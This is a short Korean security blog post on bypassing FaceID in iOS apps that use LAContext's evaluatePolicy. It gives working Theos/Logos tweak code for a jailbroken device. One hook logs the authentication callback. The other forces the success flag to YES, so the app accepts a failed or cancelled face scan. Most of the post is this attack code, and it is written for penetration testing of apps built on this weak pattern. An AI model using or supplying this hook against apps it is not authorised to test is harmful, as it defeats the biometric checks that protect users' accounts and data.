Information Security/iOS
iOS FaceID Bypass
hackcatml
2021. 8. 25. 23:58
반응형
FaceID는 iPhoneX 이상의 단말기에서 도입되었습니다.
FaceID를 사용한다 하더라도 앱 개발자가 Touch ID 처럼 취약한 프레임워크를 사용한다면 쉽게 우회가 가능합니다.
Touch ID의 경우 "-[LAContext evaluatePolicy:localizedReason:reply:]" 를 후킹하여 우회가 가능한데요, FaceID도 LAContext 클래스를 사용하여 구현되어 있다면 동일한 방식으로 우회가 가능합니다.
우선, 후킹코드를 다음과 같이 작성하여 취약한 프레임워크를 사용하는지 확인합니다.
%hook LAContext
-(void)evaluatePolicy:(long long)arg1 localizedReason:(id)arg2 reply:(void (^)(BOOL success, NSError *error))arg3 {
NSLog(@"-[<LAContext: %p> evaluatePolicy:%lld localizedReason:%@ reply:%@]", self, arg1, arg2, (id)arg3);
// interception 이라는 block 함수를 정의하여 본래의 block 구문의 로직 조작 후, %orig에 interception block 함수를 인자로 넘겨줌
void (^interception)(BOOL success, NSError *error) = ^(BOOL success, NSError *error) {
NSLog(@"success: %d", success);
NSLog(@"error: %@", error);
if (arg3) {
arg3(success, error);
}
};
%orig(arg1, arg2, interception);
}
%end
트윅 설치 후 앱을 다시 실행하고, FaceID 인증창에서 "Cancel" 을 터치하면 다음과 같은 로그를 확인할 수 있습니다.
※ iPhoneX, iOS14.2, Taurine JB 에서 테스트
"Cancel" 을 터치했더니 success 값은 0으로 전달되고 있군요. success 값을 항상 1로 고정하면 어떻게 될까요?
%hook LAContext
-(void)evaluatePolicy:(long long)arg1 localizedReason:(id)arg2 reply:(void (^)(BOOL success, NSError *error))arg3 {
NSLog(@"-[<LAContext: %p> evaluatePolicy:%lld localizedReason:%@ reply:%@]", self, arg1, arg2, (id)arg3);
void (^interception)(BOOL success, NSError *error) = ^(BOOL success, NSError *error) {
NSLog(@"success: %d", success);
NSLog(@"error: %@", error);
if (arg3) {
success = YES;
arg3(success, error);
}
};
%orig(arg1, arg2, interception);
}
%end
FaceID 인증을 우회하여 앱 사용이 가능합니다.
반응형